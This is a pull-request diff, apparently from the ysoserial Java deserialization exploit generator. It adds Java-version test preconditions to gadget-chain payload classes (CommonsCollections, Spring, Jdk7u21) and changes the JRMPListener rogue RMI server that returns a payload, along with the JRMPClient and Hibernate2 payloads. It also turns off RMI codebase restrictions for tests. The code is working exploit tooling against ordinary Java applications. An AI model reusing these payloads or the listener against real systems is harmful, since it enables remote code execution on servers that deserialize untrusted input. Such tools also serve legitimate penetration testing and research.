Merge pull request #44 from mbechler/master

Test fixes, some minor stuff

pom.xml

@@ -49,6 +49,15 @@
 					</execution>
 				</executions>
 			</plugin>
+			<plugin>
+		        <groupId>org.apache.maven.plugins</groupId>
+		        <artifactId>maven-surefire-plugin</artifactId>
+		        <configuration>
+			        <systemPropertyVariables>
+			        	<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
+			        </systemPropertyVariables>
+		        </configuration>
+		    </plugin>
 		</plugins>
 	</build>
 	

src/main/java/ysoserial/exploit/JRMPListener.java

@@ -20,6 +20,7 @@ import java.net.URL;
 import java.rmi.MarshalException;
 import java.rmi.server.ObjID;
 import java.rmi.server.UID;
+import java.util.Arrays;
 
 import javax.management.BadAttributeValueExpException;
 import javax.net.ServerSocketFactory;
@@ -245,18 +246,33 @@ public class JRMPListener implements Runnable {
 
             @Override
             protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
+                if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
+                    return ObjID[].class;
+                } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
+                    return ObjID.class;
+                } else if ( "java.rmi.server.UID".equals(desc.getName())) {
+                    return UID.class;
+                }
                 throw new IOException("Not allowed to read object");
             }
         };
 
+        ObjID read;
         try {
-            ObjID.read(ois);
+            read = ObjID.read(ois);
         }
         catch ( java.io.IOException e ) {
             throw new MarshalException("unable to read objID", e);
         }
 
-        System.err.println("Sending return with payload");
+        
+        if ( read.hashCode() == 2 ) {
+            ois.readInt(); // method
+            ois.readLong(); // hash
+            System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
+        }
+        
+        System.err.println("Sending return with payload for obj " + read);
 
         out.writeByte(TransportConstants.Return);// transport op
         ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

src/main/java/ysoserial/payloads/CommonsCollections1.java

@@ -11,7 +11,9 @@ import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -39,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
  */
 @SuppressWarnings({"rawtypes", "unchecked"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
 public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
 	
 	public InvocationHandler getObject(final String command) throws Exception {
@@ -75,4 +78,8 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
 	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(CommonsCollections1.class, args);
 	}
+	
+	public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAnnInvHUniversalMethodImpl();
+    }
 }

src/main/java/ysoserial/payloads/CommonsCollections3.java

@@ -13,7 +13,9 @@ import org.apache.commons.collections.functors.InstantiateTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -25,6 +27,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  */
 @SuppressWarnings({"rawtypes", "unchecked", "restriction"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
 public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
 
 	public Object getObject(final String command) throws Exception {
@@ -56,4 +59,8 @@ public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<
 	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(CommonsCollections3.class, args);
 	}
+	
+	public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAnnInvHUniversalMethodImpl();
+    }
 }

src/main/java/ysoserial/payloads/Hibernate2.java

@@ -49,7 +49,7 @@ public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
    
     public Object getObject ( String command ) throws Exception {
         JdbcRowSetImpl rs = new JdbcRowSetImpl();
-        rs.setDataSourceName("rmi: " + command);
+        rs.setDataSourceName(command);
         return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
     }
 

src/main/java/ysoserial/payloads/JRMPClient.java

@@ -64,7 +64,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry>
             host = command.substring(0, sep);
             port = Integer.valueOf(command.substring(sep + 1));
         }
-        ObjID id = new ObjID(0); // RMI registry
+        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
         TCPEndpoint te = new TCPEndpoint(host, port);
         UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
         RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
@@ -76,6 +76,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry>
 
 
     public static void main ( final String[] args ) throws Exception {
+        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
         PayloadRunner.run(JRMPClient.class, args);
     }
 }

src/main/java/ysoserial/payloads/Jdk7u21.java

@@ -9,6 +9,7 @@ import javax.xml.transform.Templates;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -81,18 +82,8 @@ public class Jdk7u21 implements ObjectPayload<Object> {
 	}
 	
 	public static boolean isApplicableJavaVersion() {
-	    String property = System.getProperties().getProperty("java.version");
+	    JavaVersion v = JavaVersion.getLocalVersion();
-	    if ( property == null ) {
+	    return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
-	        return false;
-	    }
-	    String parts[] = property.split("\\.|_|-");;
-	    int major   = Integer.parseInt(parts[1]);
-	    int minor   = Integer.parseInt(parts[2]);
-	    int update  = Integer.parseInt(parts[3]);
-	    if ( major < 7 || (major == 7 && update <= 21) ) {
-	        return true;
-	    }
-	    return false;
 	}
 
 	public static void main(final String[] args) throws Exception {

src/main/java/ysoserial/payloads/Spring1.java

@@ -11,7 +11,9 @@ import javax.xml.transform.Templates;
 import org.springframework.beans.factory.ObjectFactory;
 
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -46,6 +48,7 @@ import ysoserial.payloads.util.Reflections;
 
 @SuppressWarnings({"rawtypes"})
 @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
 public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
 	
 	public Object getObject(final String command) throws Exception {
@@ -73,4 +76,7 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
 		PayloadRunner.run(Spring1.class, args);
 	}
 
+	public static boolean isApplicableJavaVersion() {
+	    return JavaVersion.isAnnInvHUniversalMethodImpl();
+    }
 }

src/main/java/ysoserial/payloads/Spring2.java

@@ -12,7 +12,9 @@ import org.springframework.aop.framework.AdvisedSupport;
 import org.springframework.aop.target.SingletonTargetSource;
 
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -38,6 +40,7 @@ import ysoserial.payloads.util.Reflections;
     // test deps
     "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
 } )
+@PayloadTest ( precondition = "isApplicableJavaVersion")
 public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
 
     public Object getObject ( final String command ) throws Exception {
@@ -65,4 +68,8 @@ public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
         PayloadRunner.run(Spring2.class, args);
     }
     
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAnnInvHUniversalMethodImpl();
+    }
+
 }

src/main/java/ysoserial/payloads/util/JavaVersion.java

@@ -0,0 +1,36 @@
+package ysoserial.payloads.util;
+
+
+/**
+ * @author mbechler
+ *
+ */
+public class JavaVersion {
+
+    
+    public int major;
+    public int minor;
+    public int update;
+    
+  
+    
+    public static JavaVersion getLocalVersion() {
+        String property = System.getProperties().getProperty("java.version");
+        if ( property == null ) {
+            return null;
+        }
+        JavaVersion v = new JavaVersion();
+        String parts[] = property.split("\\.|_|-");
+        v.major   = Integer.parseInt(parts[1]);
+        v.minor   = Integer.parseInt(parts[2]);
+        v.update  = Integer.parseInt(parts[3]);
+        return v;
+    }
+    
+    
+    public static boolean isAnnInvHUniversalMethodImpl() {
+        JavaVersion v = JavaVersion.getLocalVersion();
+        return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
+    }
+}
+

src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java

@@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest {
 
 
     public String getPayloadArgs () {
-        return "localhost:" + port;
+        return "rmi:localhost:" + port;
     }
 
 }